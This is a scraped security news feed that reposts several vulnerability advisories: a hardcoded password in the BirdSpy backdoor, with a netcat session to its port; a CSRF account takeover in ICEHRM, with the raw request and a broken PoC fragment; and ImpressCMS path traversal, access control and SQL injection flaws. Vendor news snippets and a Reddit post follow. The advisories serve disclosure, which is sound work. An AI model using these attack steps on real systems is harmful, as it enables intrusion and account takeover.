Exploit Collector
Backdoor.Win32.BirdSpy.b Hardcoded Credential

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Backdoor.Win32.BirdSpy.b malware suffers from a hardcoded credential vulnerability.

MD5 | 7e6168b54ac04e9df02909abd1d357f0

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/eba3dd81723ddf33621fd85ded577920.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BirdSpy.b
Vulnerability: Weak Hardcoded Credentials
Family: BirdSpy
Type: PE32
MD5: eba3dd81723ddf33621fd85ded577920
Vuln ID: MVID-2022-0523
Dropped files: WinSock.exe
Disclosure: 03/21/2022
Description: The malware listens on TCP port 50829. Authentication is required, however the password "ccbird" is weak and hardcoded in the PE file.

00401E0E mov esi, offset Data ; "ccbird"
00401E13 push 0 ; flags
00401E15 push esi ; Str

Built-in commands:
==================
byby "kill the malware"
delp "terminate process"
exec "shellexecute pgm"
dlog HATE "send a message"
getd "get drives"
regw "write to registry"
Exploit/PoC:
nc64.exe x.x.x.x 50829
ccbird
pwok Welcome to Januse's BirdSPY
Januse0128
sysJanuse0128gsys
msgeSystem: Windows NT
Version:6.2
BuildNumber:9200
System Info:''Januse0128
Januse0128dlog HATE
Januse0128bird
BirdSPY Release version 1..by JanuseChiu
ME.NCU.EDU.TW...YAJanuse0128
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
ICEHRM 31.0.0.0S Cross Site Request Forgery

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
ICEHRM version 31.0.0.0S suffers from a cross site request forgery vulnerability.

MD5 | c62d06823da308b96d7d8a8775bd3775

Download
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
# Date: 18/03/2022
# Exploit Author: Devansh Bordia
# Vendor Homepage: https://icehrm.com/
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
# Version: 31.0.0.OS
#Tested on: Windows 10

1. About - ICEHRM
IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.

2. Description:
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change the password of any arbitrary user leading to an account takeover.

3. Steps To Reproduce:
- Create an User name:Gaurav with permission of the Employee using the Admin User of the application and set his password.
- Now login into the application using his credentials and navigate to Update Password Feature to change the password.
- Intercept the request in Proxy and we can see there is a GET request used to change password and also NO CSRF Token is being used.
- Finally using Burpsuite create CSRF POC and save it as exploit.html.
- Now change the password in the POC to any password we want.
- Finally we open this POC in the same browser session and click on the submit button.
- At last when retrying to login into the application we can see that password has been reset for the account leading to account takeover.

4. Vulnerable Request:

GET
/app/service.php?t=Employee&a=ca&sa=changePassword&mod=modules=employees&req={"current":"Test@123
","pwd":"Dummy@123"} HTTP/1.1
Host: localhost:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer:
http://localhost:8070/app/?g=modules&n=employees&m=module_Personal_Information
Cookie: PHPSESSID=k8d27ve456j0jb56ga885j1vvb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

5. Exploit POC (exploit.html)
value="{"current":"Test@123","pwd":"Dummy@123"}"
/>

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 Path Traversal

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
ImpressCMS versions 1.4.2 and below suffer from a path traversal vulnerability that can allow for arbitrary file deletion.

MD5 | a8d22b7cc80f2dd7e1709f1422b1179e

Download
-----------------------------------------------------------------
ImpressCMS <=
-----------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the
/libraries/image-editor/image-edit.php script:

161. if (@copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp, $categ_path . $simage->getVar ( 'image_name' ) )) {
162. if (@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp )) {
163. $msg = _MD_AM_DBUPDATED;

[...]

190. } else {
191. if (copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp, $categ_path . $imgname )) {
192. @unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp );
193. }

User input passed through the "image_temp" parameter is not properly
sanitized before being used in a call to the unlink() function at lines
162 and 192. This can be exploited by authenticated attackers to carry
out Path Traversal attacks and delete arbitrary files in the context of
the web server process. This vulnerability could be exploited also to
disclose the content of arbitrary files in case the web server allows
for directory listing.

[-] Solution:

Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[29/01/2021] - Vulnerability acknowledged by the vendor
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26601 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081878
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-02

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 Incorrect Access Control

https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
ImpressCMS versions 1.4.2 and below suffer from an incorrect access control vulnerability.

MD5 | 3eef0d54701c87520c4c7a944b7f47a5

Download
--------------------------------------------------------------------------
ImpressCMS <=
--------------------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the /include/findusers.php script:

16. include "../mainfile.php";
17. xoops_header(false);
18.
19. $denied = true;
20. if (!empty($_REQUEST['token'])) {
21. if (icms::$security->validateToken($_REQUEST['token'], false)) {
22. $denied = false;
23. }
24. } elseif (is_object(icms::$user) && icms::$user->isAdmin()) {
25. $denied = false;
26. }
27. if ($denied) {
28. icms_core_Message::error(_NOPERM);
29. exit();
30. } }

This script should be accessible to authenticated users only. However,
because of the "if" statement at lines 20-23, this script could be
accessed by unauthenticated attackers if they will provide a valid
security token. Such a token will be generated in several places within
the application, and some of them do not require the user to be
authenticated, like in the misc.php script. This might be exploited to
access an otherwise restricted functionality of the application, which
in turn might allow an information disclosure about the CMS users.
[-] Solution:

Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26598 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081137
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-03

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 SQL Injection

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
ImpressCMS versions 1.4.3 and below suffer from a remote SQL injection vulnerability.

MD5 | 87f67399dc57cf0886d71c379f9cc8b8

Download
---------------------------------------------------------------
ImpressCMS <=
---------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.3 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the /include/findusers.php script:

281. $total =
$user_handler->getUserCountByGroupLink(@$_POST["groups"], $criteria);
282.
283. $validsort = array("uname", "email", "last_login",
"user_regdate", "posts");
284. $sort = (!in_array($_POST['user_sort'], $validsort)) ?
"uname" : $_POST['user_sort'];
285. $order = "ASC";
286. if (isset($_POST['user_order']) && $_POST['user_order']
== "DESC") {
287. $order = "DESC";
288. }
289.
290. $criteria->setSort($sort);
291. $criteria->setOrder($order);
292. $criteria->setLimit($limit);
293. $criteria->setStart($start);
294. $foundusers =
$user_handler->getUsersByGroupLink(@$_POST["groups"], $criteria, TRUE);

User input passed through the "groups" POST parameter is not properly
sanitized before being passed to the
icms_member_Handler::getUserCountByGroupLink() and
icms_member_Handler::getUsersByGroupLink() methods at lines 281 and 294.
These methods use the first argument to construct a SQL query without
proper validation, and this can be exploited by remote attackers to e.g.
read sensitive data from the "users" database table through
boolean-based SQL Injection attacks. The application allows for stacked
SQL queries, as such this vulnerability could be exploited to e.g.
create a new admin user and execute arbitrary PHP code.
[-] Solution:

Upgrade to version 1.4.4 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[29/01/2021] - Vulnerability acknowledged by the vendor
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released, vulnerability not correctly fixed
[11/02/2022] - Vendor was informed about the ineffective fix
[09/03/2022] - Version 1.4.4 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26599 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081145
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-04

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Zscaler Unveils Security Service Edge Innovations to Protect Enterprises From Cyberattacks

Advancements to the most deployed ZTNA solution strengthen the Zscaler Zero Trust Exchange with new private app protection, deception, and privileged remote access capabilities.

Dark Reading: Attacks/Breaches
Trustero Exits Stealth Mode and Launches its Compliance as a Service Platform

Proven best practices create integrity and trustworthiness.

Dark Reading: Attacks/Breaches
Checkmarx Launches Comprehensive Supply Chain Security Solution

Now available for use with Checkmarx Software Composition Analysis (SCA), the solution restores trust in modern application development while letting developers embrace open source code.

Dark Reading: Attacks/Breaches
Logpoint Unleashes SaaS-Delivered Converged SIEM

Only solution to deliver integrated cloud-based SIEM, SOAR, and UEBA services directly to organizations of all sizes.

Caso de uso não autorizados de chave da API do Google Maps
https://medium.com/@cupc4k3/caso-de-uso-n%C3%A3o-autorizados-de-chave-da-api-do-google-maps-89498752cf7d?source=rss------bug_bounty-5

Fala galera,Continue reading on Medium » (https://medium.com/@cupc4k3/caso-de-uso-n%C3%A3o-autorizados-de-chave-da-api-do-google-maps-89498752cf7d?source=rss------bug_bounty-5)

Hi I need some help.
https://www.reddit.com/r/redteamsec/comments/tkbxo3/hi_i_need_some_help/

So my girlfriends Instagram account is apart of that onlyfans/porn scam thing going around. I wanted to know what legal actions I could take. I’m waiting on a response from his account so I can figure out where it came from. Is it legal/possible to find his digital footprint from his/her Instagram response to my account? I’m studying cybersecurity in hopes to get into the industry, but I don’t know what to do. I’m more concerned about that it’s ruining her image, and I want to do something about it. What can I do? submitted by /u/Wonderful-Captain-92 (https://www.reddit.com/user/Wonderful-Captain-92)
[link] (https://www.reddit.com/r/redteamsec/comments/tkbxo3/hi_i_need_some_help/) [comments] (https://www.reddit.com/r/redteamsec/comments/tkbxo3/hi_i_need_some_help/)

___________________________
@hacking_Attack
@Hacking_Video